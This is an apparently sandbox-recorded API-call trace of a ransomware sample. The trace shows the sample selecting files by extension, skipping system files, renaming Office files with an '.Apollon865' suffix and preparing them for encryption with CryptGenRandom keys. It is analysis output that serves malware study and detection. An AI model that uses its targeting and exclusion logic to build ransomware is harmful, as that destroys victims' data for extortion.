	[0067.006] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0067.006] lstrlenW (lpString="db2") returned 3
	[0067.007] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0067.007] lstrlenW (lpString="db3") returned 3
	[0067.007] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0067.007] lstrlenW (lpString="dbf") returned 3
	[0067.007] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0067.007] lstrlenW (lpString="mdf") returned 3
	[0067.007] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0067.007] lstrlenW (lpString="mdb") returned 3
	[0067.007] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0067.007] lstrlenW (lpString="sql") returned 3
	[0067.007] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0067.007] lstrlenW (lpString="sqlite") returned 6
	[0067.007] lstrcmpiW (lpString1="FO.XML", lpString2="sqlite") returned -1
	[0067.007] lstrlenW (lpString="sqlite3") returned 7
	[0067.007] lstrcmpiW (lpString1="NFO.XML", lpString2="sqlite3") returned -1
	[0067.007] lstrlenW (lpString="sqlitedb") returned 8
	[0067.007] lstrcmpiW (lpString1="INFO.XML", lpString2="sqlitedb") returned -1
	[0067.007] lstrlenW (lpString="xml") returned 3
	[0067.007] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0067.007] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML.Apollon865") returned 72
	[0067.007] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcinfo.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcinfo.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcinfo.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.009] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1182) returned 1
	[0067.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.009] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.009] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.010] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.010] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.010] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a0, lpName=0x0) returned 0x100
	[0067.011] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7a0) returned 0x100000
	[0067.012] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.013] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.013] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.013] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2="Apollon865.txt.exe") returned 1
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2=".") returned 1
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2="..") returned 1
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2="windows") returned -1
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2="bootmgr") returned 1
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2="temp") returned -1
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2="pagefile.sys") returned -1
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2="boot") returned 1
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2="ids.txt") returned -1
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2="ntuser.dat") returned -1
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2="perflogs") returned -1
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2="MSBuild") returned -1
	[0067.016] lstrlenW (lpString="DGCOUPON.DPV") returned 12
	[0067.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCINFO.XML") returned 61
	[0067.016] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGCOUPON.DPV" | out: lpString1="DGCOUPON.DPV") returned="DGCOUPON.DPV"
	[0067.016] lstrlenW (lpString="DGCOUPON.DPV") returned 12
	[0067.016] lstrlenW (lpString="Apollon865") returned 10
	[0067.016] lstrcmpiW (lpString1="COUPON.DPV", lpString2="Apollon865") returned 1
	[0067.016] lstrlenW (lpString=".dll") returned 4
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2=".dll") returned 1
	[0067.016] lstrlenW (lpString=".lnk") returned 4
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2=".lnk") returned 1
	[0067.016] lstrlenW (lpString=".ini") returned 4
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2=".ini") returned 1
	[0067.016] lstrlenW (lpString=".sys") returned 4
	[0067.016] lstrcmpiW (lpString1="DGCOUPON.DPV", lpString2=".sys") returned 1
	[0067.016] lstrlenW (lpString="DGCOUPON.DPV") returned 12
	[0067.016] lstrlenW (lpString="bak") returned 3
	[0067.016] lstrcmpiW (lpString1="DPV", lpString2="bak") returned 1
	[0067.016] lstrlenW (lpString="ba_") returned 3
	[0067.016] lstrcmpiW (lpString1="DPV", lpString2="ba_") returned 1
	[0067.017] lstrlenW (lpString="dbb") returned 3
	[0067.017] lstrcmpiW (lpString1="DPV", lpString2="dbb") returned 1
	[0067.017] lstrlenW (lpString="vmdk") returned 4
	[0067.017] lstrcmpiW (lpString1=".DPV", lpString2="vmdk") returned -1
	[0067.017] lstrlenW (lpString="rar") returned 3
	[0067.017] lstrcmpiW (lpString1="DPV", lpString2="rar") returned -1
	[0067.017] lstrlenW (lpString="zip") returned 3
	[0067.017] lstrcmpiW (lpString1="DPV", lpString2="zip") returned -1
	[0067.017] lstrlenW (lpString="tgz") returned 3
	[0067.017] lstrcmpiW (lpString1="DPV", lpString2="tgz") returned -1
	[0067.017] lstrlenW (lpString="vbox") returned 4
	[0067.017] lstrcmpiW (lpString1=".DPV", lpString2="vbox") returned -1
	[0067.017] lstrlenW (lpString="vdi") returned 3
	[0067.017] lstrcmpiW (lpString1="DPV", lpString2="vdi") returned -1
	[0067.017] lstrlenW (lpString="vhd") returned 3
	[0067.017] lstrcmpiW (lpString1="DPV", lpString2="vhd") returned -1
	[0067.017] lstrlenW (lpString="vhdx") returned 4
	[0067.017] lstrcmpiW (lpString1=".DPV", lpString2="vhdx") returned -1
	[0067.017] lstrlenW (lpString="avhd") returned 4
	[0067.017] lstrcmpiW (lpString1=".DPV", lpString2="avhd") returned -1
	[0067.017] lstrlenW (lpString="db") returned 2
	[0067.017] lstrcmpiW (lpString1="PV", lpString2="db") returned 1
	[0067.017] lstrlenW (lpString="db2") returned 3
	[0067.017] lstrcmpiW (lpString1="DPV", lpString2="db2") returned 1
	[0067.017] lstrlenW (lpString="db3") returned 3
	[0067.017] lstrcmpiW (lpString1="DPV", lpString2="db3") returned 1
	[0067.017] lstrlenW (lpString="dbf") returned 3
	[0067.017] lstrcmpiW (lpString1="DPV", lpString2="dbf") returned 1
	[0067.017] lstrlenW (lpString="mdf") returned 3
	[0067.017] lstrcmpiW (lpString1="DPV", lpString2="mdf") returned -1
	[0067.017] lstrcmpiW (lpString1="DPV", lpString2="mdb") returned -1
	[0067.018] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGCOUPON.XML" | out: lpString1="DGCOUPON.XML") returned="DGCOUPON.XML"
	[0067.018] lstrlenW (lpString="DGCOUPON.XML") returned 12
	[0067.018] lstrlenW (lpString="Apollon865") returned 10
	[0067.018] lstrcmpiW (lpString1="COUPON.XML", lpString2="Apollon865") returned 1
	[0067.018] lstrlenW (lpString=".dll") returned 4
	[0067.018] lstrcmpiW (lpString1="DGCOUPON.XML", lpString2=".dll") returned 1
	[0067.018] lstrlenW (lpString=".lnk") returned 4
	[0067.018] lstrcmpiW (lpString1="DGCOUPON.XML", lpString2=".lnk") returned 1
	[0067.018] lstrlenW (lpString=".ini") returned 4
	[0067.018] lstrcmpiW (lpString1="DGCOUPON.XML", lpString2=".ini") returned 1
	[0067.018] lstrlenW (lpString=".sys") returned 4
	[0067.018] lstrcmpiW (lpString1="DGCOUPON.XML", lpString2=".sys") returned 1
	[0067.018] lstrlenW (lpString="DGCOUPON.XML") returned 12
	[0067.018] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML.Apollon865") returned 73
	[0067.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCOUPON.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcoupon.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.020] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=642) returned 1
	[0067.020] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.020] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.020] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.020] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.021] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.021] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.021] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x100
	[0067.022] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000
	[0067.026] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.027] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.027] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.027] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.028] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGDOTS.DPV" | out: lpString1="DGDOTS.DPV") returned="DGDOTS.DPV"
	[0067.028] lstrlenW (lpString="DGDOTS.DPV") returned 10
	[0067.028] lstrlenW (lpString="Apollon865") returned 10
	[0067.028] lstrlenW (lpString=".dll") returned 4
	[0067.028] lstrcmpiW (lpString1="DGDOTS.DPV", lpString2=".dll") returned 1
	[0067.028] lstrlenW (lpString=".lnk") returned 4
	[0067.028] lstrcmpiW (lpString1="DGDOTS.DPV", lpString2=".lnk") returned 1
	[0067.028] lstrlenW (lpString=".ini") returned 4
	[0067.028] lstrcmpiW (lpString1="DGDOTS.DPV", lpString2=".ini") returned 1
	[0067.028] lstrlenW (lpString=".sys") returned 4
	[0067.028] lstrcmpiW (lpString1="DGDOTS.DPV", lpString2=".sys") returned 1
	[0067.028] lstrlenW (lpString="DGDOTS.DPV") returned 10
	[0067.028] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGDOTS.XML" | out: lpString1="DGDOTS.XML") returned="DGDOTS.XML"
	[0067.028] lstrlenW (lpString="DGDOTS.XML") returned 10
	[0067.028] lstrlenW (lpString="Apollon865") returned 10
	[0067.028] lstrlenW (lpString=".dll") returned 4
	[0067.028] lstrcmpiW (lpString1="DGDOTS.XML", lpString2=".dll") returned 1
	[0067.028] lstrlenW (lpString=".lnk") returned 4
	[0067.028] lstrcmpiW (lpString1="DGDOTS.XML", lpString2=".lnk") returned 1
	[0067.028] lstrlenW (lpString=".ini") returned 4
	[0067.028] lstrcmpiW (lpString1="DGDOTS.XML", lpString2=".ini") returned 1
	[0067.028] lstrlenW (lpString=".sys") returned 4
	[0067.028] lstrcmpiW (lpString1="DGDOTS.XML", lpString2=".sys") returned 1
	[0067.028] lstrlenW (lpString="DGDOTS.XML") returned 10
	[0067.028] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML.Apollon865") returned 71
	[0067.028] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGDOTS.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgdots.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.030] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=690) returned 1
	[0067.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.030] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.030] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.031] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.031] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.031] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5c0, lpName=0x0) returned 0x100
	[0067.041] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5c0) returned 0x100000
	[0067.042] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.043] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.043] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.043] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.044] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGHEADING.XML" | out: lpString1="DGHEADING.XML") returned="DGHEADING.XML"
	[0067.044] lstrlenW (lpString="DGHEADING.XML") returned 13
	[0067.044] lstrlenW (lpString="Apollon865") returned 10
	[0067.044] lstrcmpiW (lpString1="EADING.XML", lpString2="Apollon865") returned 1
	[0067.044] lstrlenW (lpString=".dll") returned 4
	[0067.044] lstrcmpiW (lpString1="DGHEADING.XML", lpString2=".dll") returned 1
	[0067.044] lstrlenW (lpString=".lnk") returned 4
	[0067.044] lstrcmpiW (lpString1="DGHEADING.XML", lpString2=".lnk") returned 1
	[0067.044] lstrlenW (lpString=".ini") returned 4
	[0067.044] lstrcmpiW (lpString1="DGHEADING.XML", lpString2=".ini") returned 1
	[0067.044] lstrlenW (lpString=".sys") returned 4
	[0067.044] lstrcmpiW (lpString1="DGHEADING.XML", lpString2=".sys") returned 1
	[0067.044] lstrlenW (lpString="DGHEADING.XML") returned 13
	[0067.044] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML.Apollon865") returned 74
	[0067.044] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgheading.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgheading.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGHEADING.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgheading.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.046] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=7076) returned 1
	[0067.046] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.046] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.046] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.046] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.047] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.047] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.047] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1eb0, lpName=0x0) returned 0x100
	[0067.048] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1eb0) returned 0x100000
	[0067.050] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.051] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.051] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.052] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGLINACC.DPV" | out: lpString1="DGLINACC.DPV") returned="DGLINACC.DPV"
	[0067.052] lstrlenW (lpString="DGLINACC.DPV") returned 12
	[0067.052] lstrlenW (lpString="Apollon865") returned 10
	[0067.052] lstrcmpiW (lpString1="LINACC.DPV", lpString2="Apollon865") returned 1
	[0067.052] lstrlenW (lpString=".dll") returned 4
	[0067.052] lstrcmpiW (lpString1="DGLINACC.DPV", lpString2=".dll") returned 1
	[0067.052] lstrlenW (lpString=".lnk") returned 4
	[0067.052] lstrcmpiW (lpString1="DGLINACC.DPV", lpString2=".lnk") returned 1
	[0067.052] lstrlenW (lpString=".ini") returned 4
	[0067.052] lstrcmpiW (lpString1="DGLINACC.DPV", lpString2=".ini") returned 1
	[0067.052] lstrlenW (lpString=".sys") returned 4
	[0067.052] lstrcmpiW (lpString1="DGLINACC.DPV", lpString2=".sys") returned 1
	[0067.052] lstrlenW (lpString="DGLINACC.DPV") returned 12
	[0067.052] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGLINACC.XML" | out: lpString1="DGLINACC.XML") returned="DGLINACC.XML"
	[0067.052] lstrlenW (lpString="DGLINACC.XML") returned 12
	[0067.052] lstrlenW (lpString="Apollon865") returned 10
	[0067.052] lstrcmpiW (lpString1="LINACC.XML", lpString2="Apollon865") returned 1
	[0067.052] lstrlenW (lpString=".dll") returned 4
	[0067.052] lstrcmpiW (lpString1="DGLINACC.XML", lpString2=".dll") returned 1
	[0067.052] lstrlenW (lpString=".lnk") returned 4
	[0067.052] lstrcmpiW (lpString1="DGLINACC.XML", lpString2=".lnk") returned 1
	[0067.052] lstrlenW (lpString=".ini") returned 4
	[0067.052] lstrcmpiW (lpString1="DGLINACC.XML", lpString2=".ini") returned 1
	[0067.052] lstrlenW (lpString=".sys") returned 4
	[0067.052] lstrcmpiW (lpString1="DGLINACC.XML", lpString2=".sys") returned 1
	[0067.052] lstrlenW (lpString="DGLINACC.XML") returned 12
	[0067.052] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML.Apollon865") returned 73
	[0067.052] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.xml.apollon865"), dwFlags=0x1) returned 1
	[0067.053] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLINACC.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglinacc.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0067.053] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=542) returned 1
	[0067.053] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0067.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0067.054] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0067.054] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0067.054] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.054] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x520, lpName=0x0) returned 0x100
	[0067.057] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x520) returned 0x100000
	[0067.062] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0067.063] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0067.063] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0067.063] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0067.064] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGLOGO.DPV" | out: lpString1="DGLOGO.DPV") returned="DGLOGO.DPV"
	[0067.064] lstrlenW (lpString="DGLOGO.DPV") returned 10
	[0067.064] lstrlenW (lpString="Apollon865") returned 10
	[0067.064] lstrlenW (lpString=".dll") returned 4
	[0067.064] lstrcmpiW (lpString1="DGLOGO.DPV", lpString2=".dll") returned 1
	[0067.064] lstrlenW (lpString=".lnk") returned 4
	[0067.064] lstrcmpiW (lpString1="DGLOGO.DPV", lpString2=".lnk") returned 1
	[0067.064] lstrlenW (lpString=".ini") returned 4
	[0067.064] lstrcmpiW (lpString1="DGLOGO.DPV", lpString2=".ini") returned 1
	[0067.064] lstrlenW (lpString=".sys") returned 4
	[0067.064] lstrcmpiW (lpString1="DGLOGO.DPV", lpString2=".sys") returned 1
	[0067.064] lstrlenW (lpString="DGLOGO.DPV") returned 10
	[0067.064] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGLOGO.XML" | out: lpString1="DGLOGO.XML") returned="DGLOGO.XML"
	[0067.064] lstrlenW (lpString="DGLOGO.XML") returned 10
	[0067.064] lstrlenW (lpString="Apollon865") returned 10
	[0067.064] lstrlenW (lpString=".dll") returned 4
	[0067.064] lstrcmpiW (lpString1="DGLOGO.XML", lpString2=".dll") returned 1
	[0067.064] lstrlenW (lpString=".lnk") returned 4
	[0067.064] lstrcmpiW (lpString1="DGLOGO.XML", lpString2=".lnk") returned 1
	[0067.064] lstrlenW (lpString=".ini") returned 4
	[0067.064] lstrcmpiW (lpString1="DGLOGO.XML", lpString2=".ini") returned 1
	[0067.064] lstrlenW (lpString=".sys") returned 4
	[0067.064] lstrcmpiW (lpString1="DGLOGO.XML", lpString2=".sys") returned 1
	[0067.064] lstrlenW (lpString="DGLOGO.XML") returned 10
	[0067.064] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML.Apollon865") returned 71
	[0067.064] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGLOGO.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dglogo.xml.apollon865"), dwFlags=0x1) returned 1
